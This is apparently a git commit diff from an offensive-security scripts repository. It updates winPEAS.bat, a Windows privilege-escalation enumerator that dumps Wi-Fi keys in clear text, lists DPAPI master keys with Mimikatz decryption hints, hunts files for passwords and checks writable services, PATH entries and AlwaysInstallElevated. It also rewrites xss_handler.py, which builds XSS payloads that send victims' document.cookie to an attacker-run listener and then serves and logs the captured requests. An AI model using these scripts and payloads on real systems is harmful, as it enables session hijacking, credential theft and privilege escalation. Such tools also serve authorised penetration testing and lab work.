:WindowsLAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Windows LAPS installed?"
|
||||
ECHO. [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies\LAPS" /v BackupDirectory 2>nul
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" /v BackupDirectory 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LSAProtectionCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
|
||||
ECHO. [i] Active if "1"
|
||||
@@ -182,14 +195,19 @@ CALL :T_Progress 1
|
||||
:UACSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
||||
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:AVSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)"
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
|
||||
) else (
|
||||
powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
|
||||
)
|
||||
ECHO.Checking for defender whitelisted PATHS
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
|
||||
CALL :T_Progress 1
|
||||
@@ -218,7 +236,12 @@ CALL :T_Progress 3
|
||||
:MountedDisks
|
||||
CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS"
|
||||
ECHO. [i] Maybe you find something interesting
|
||||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
wmic logicaldisk get caption | more
|
||||
) else (
|
||||
fsutil fsinfo drives
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
@@ -233,7 +256,7 @@ CALL :T_Progress 1
|
||||
:InstalledSoftware
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
||||
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications
|
||||
ECHO.
|
||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||
@@ -244,7 +267,7 @@ CALL :T_Progress 2
|
||||
|
||||
:RemodeDeskCredMgr
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
|
||||
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -252,7 +275,7 @@ CALL :T_Progress 1
|
||||
:WSUS
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
||||
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
|
||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -260,20 +283,34 @@ CALL :T_Progress 1
|
||||
:RunningProcesses
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
||||
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes
|
||||
tasklist /SVC
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
|
||||
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
|
||||
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
|
||||
icacls "%%x" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
ECHO. [i] Checking directory permissions of running processes (DLL injection)
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
|
||||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
|
||||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
|
||||
for /f "delims=" %%d in ("%%~dpx") do icacls "%%d" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
@@ -281,7 +318,7 @@ CALL :T_Progress 3
|
||||
:RunAtStartup
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
||||
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
|
||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
@@ -305,7 +342,7 @@ CALL :T_Progress 2
|
||||
:AlwaysInstallElevated
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
||||
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
ECHO.
|
||||
@@ -363,13 +400,13 @@ CALL :T_Progress 1
|
||||
|
||||
:WifiCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WIFI"
|
||||
for /f "tokens=3,* delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%b key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
|
||||
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
||||
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
||||
net user %username%
|
||||
@@ -443,16 +480,27 @@ ECHO.
|
||||
|
||||
:ServiceBinaryPermissions
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%a in ('powershell -command "Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -and $_.PathName -notlike '*system32*'} | Select-Object -ExpandProperty PathName"') do (
|
||||
for /f "tokens=1 delims= " %%b in ("%%a") do (
|
||||
set "svcpath=%%b"
|
||||
set "svcpath=!svcpath:~1,-1!"
|
||||
if exist "!svcpath!" icacls "!svcpath!" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CheckRegistryModificationAbilities
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -461,7 +509,7 @@ CALL :T_Progress 1
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
||||
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||
ECHO. [i] The permissions are also checked and filtered using icacls
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
||||
@@ -476,7 +524,7 @@ ECHO.
|
||||
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
||||
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -485,7 +533,7 @@ CALL :T_Progress 1
|
||||
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault
|
||||
cmdkey /list
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -493,14 +541,14 @@ CALL :T_Progress 2
|
||||
:DPAPIMasterKeys
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
|
||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||
CALL :T_Progress 2
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
|
||||
ECHO.
|
||||
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
@@ -573,7 +621,7 @@ CALL :T_Progress 2
|
||||
|
||||
:AppCMD
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -581,7 +629,7 @@ CALL :T_Progress 2
|
||||
:RegFilesCredentials
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
||||
ECHO. [i] Searching specific files that may contains credentials.
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
|
||||
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||
CALL :T_Progress 2
|
||||
@@ -620,16 +668,29 @@ if "%long%" == "true" (
|
||||
ECHO.
|
||||
ECHO. [i] Iterating through the drives
|
||||
ECHO.
|
||||
for /f %%x in ('wmic logicaldisk get name^| more') do (
|
||||
set tdrive=%%x
|
||||
if "!tdrive:~1,2!" == ":" (
|
||||
%%x
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
ECHO.
|
||||
where wmic >nul 2>&1
|
||||
if !errorlevel! equ 0 (
|
||||
for /f %%x in ('wmic logicaldisk get name ^| more') do (
|
||||
set tdrive=%%x
|
||||
if "!tdrive:~1,2!" == ":" (
|
||||
%%x
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
ECHO.
|
||||
)
|
||||
)
|
||||
) else (
|
||||
for /f %%x in ('powershell -command "Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match ':'} | Select-Object -ExpandProperty Name"') do (
|
||||
%%x:
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
ECHO.
|
||||
)
|
||||
)
|
||||
CALL :T_Progress 2
|
||||
@@ -646,7 +707,8 @@ EXIT /B
|
||||
|
||||
:SetOnce
|
||||
REM :: ANSI escape character is set once below - for ColorLine Subroutine
|
||||
SET "E=0x1B["
|
||||
for /F %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"
|
||||
SET "E=%ESC%["
|
||||
SET "PercentageTrack=0"
|
||||
EXIT /B
|
||||
|
||||
@@ -658,5 +720,5 @@ EXIT /B
|
||||
|
||||
:ColorLine
|
||||
SET "CurrentLine=%~1"
|
||||
FOR /F "delims=" %%A IN ('FORFILES.EXE /P %~dp0 /M %~nx0 /C "CMD /C ECHO.!CurrentLine!"') DO ECHO.%%A
|
||||
ECHO.!CurrentLine!
|
||||
EXIT /B
|
||||
|
||||
BIN
win/winPEAS.exe
BIN
win/winPEAS.exe
Binary file not shown.
Binary file not shown.
129
xss_handler.py
129
xss_handler.py
@@ -1,108 +1,71 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from hackingscripts import util
|
||||
import sys
|
||||
import http.server
|
||||
import socketserver
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
||||
# returns http address
|
||||
def getServerAddress(address, port):
|
||||
if port == 80:
|
||||
return "http://%s" % address
|
||||
else:
|
||||
return "http://%s:%d" % (address, port)
|
||||
|
||||
# returns js code: 'http://xxxx:yy/?x='+document.cookie
|
||||
def getCookieAddress(address, port):
|
||||
return "'%s/?x='+document.cookie" % getServerAddress(address, port)
|
||||
|
||||
def generatePayload(type, address, port):
|
||||
from fileserver import HttpFileServer
|
||||
import argparse
|
||||
import random
|
||||
|
||||
def generate_payload(payload_type, url, index=None, **kwargs):
|
||||
payloads = []
|
||||
cookieAddress = getCookieAddress(address, port)
|
||||
|
||||
media_tags = ["img","audio","video","image","body","script","object"]
|
||||
if type in media_tags:
|
||||
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (type, cookieAddress))
|
||||
if payload_type in media_tags:
|
||||
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (payload_type, url))
|
||||
|
||||
if type == "script":
|
||||
payloads.append('<script type="text/javascript">document.location=%s</script>' % cookieAddress)
|
||||
payloads.append('<script src="%s/xss" />' % getServerAddress(address, port))
|
||||
if payload_type == "script":
|
||||
payloads.append('<script type="text/javascript">document.location=%s</script>' % url)
|
||||
payloads.append('<script src="%s/xss" />' % url)
|
||||
|
||||
if len(payloads) == 0:
|
||||
return None
|
||||
|
||||
return "\n".join(payloads)
|
||||
|
||||
class XssServer(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self):
|
||||
content = f"<html><body><h1>Got'cha</h1></body></html>"
|
||||
return content.encode("utf8") # NOTE: must return a bytes object!
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
if self.path == "/xss":
|
||||
cookie_addr = getCookieAddress(util.get_address(), listen_port)
|
||||
self.wfile.write(cookie_addr.encode())
|
||||
else:
|
||||
self.wfile.write(self._html())
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
|
||||
def end_headers(self):
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
BaseHTTPRequestHandler.end_headers(self)
|
||||
|
||||
def do_OPTIONS(self):
|
||||
self.send_response(200, "ok")
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
|
||||
# self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
|
||||
# self.send_header("Access-Control-Allow-Headers", "Content-Type")
|
||||
self.end_headers()
|
||||
|
||||
def do_POST(self):
|
||||
self._set_headers()
|
||||
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
|
||||
post_data = self.rfile.read(content_length)
|
||||
print(post_data)
|
||||
self.wfile.write(self._html())
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: %s <type> [port]" % sys.argv[0])
|
||||
exit(1)
|
||||
parser = argparse.ArgumentParser(description="XSS payload generator")
|
||||
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
||||
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
|
||||
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||
args, extra = parser.parse_known_args()
|
||||
|
||||
listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
|
||||
payload_type = sys.argv[1].lower()
|
||||
listen_port = args.port
|
||||
payload_type = args.type.lower()
|
||||
local_address = args.addr
|
||||
extra_args = {}
|
||||
|
||||
local_address = util.get_address()
|
||||
for entry in extra:
|
||||
match = re.match(r"(\w+)=(\w+)", entry)
|
||||
if not match:
|
||||
print("Invalid extra argument:", entry)
|
||||
exit()
|
||||
key, value = match.groups()
|
||||
extra_args[key] = value
|
||||
|
||||
# choose random port
|
||||
if listen_port is None:
|
||||
sock = util.open_server(local_address)
|
||||
if not sock:
|
||||
exit(1)
|
||||
listen_port = sock.getsockname()[1]
|
||||
sock.close()
|
||||
listen_port = random.randint(10000,65535)
|
||||
while util.is_port_in_use(listen_port):
|
||||
listen_port = random.randint(10000,65535)
|
||||
|
||||
payload = generatePayload(payload_type, local_address, listen_port)
|
||||
if not payload:
|
||||
print("Unsupported payload type")
|
||||
http_server = HttpFileServer(local_address, listen_port)
|
||||
payload_type = args.type.lower()
|
||||
url = http_server.get_full_url("/", util.get_address())
|
||||
payload = generate_payload(payload_type, url, **extra_args)
|
||||
if payload is None:
|
||||
print("Unknown payload type: %s" % payload_type)
|
||||
# print("Supported types: ")
|
||||
exit(1)
|
||||
|
||||
print("Payload:")
|
||||
print(payload)
|
||||
print()
|
||||
print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n")
|
||||
|
||||
httpd = HTTPServer((local_address, listen_port), XssServer)
|
||||
print(f"Starting httpd server on {local_address}:{listen_port}")
|
||||
httpd.serve_forever()
|
||||
headers = {
|
||||
"Access-Control-Allow-Origin": "*",
|
||||
"Access-Control-Allow-Methods": "GET, POST, OPTIONS"
|
||||
}
|
||||
|
||||
http_server.addRoute("/", lambda req: (201, b"", headers))
|
||||
http_server.dumpRequest("/")
|
||||
http_server.serve_forever()
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user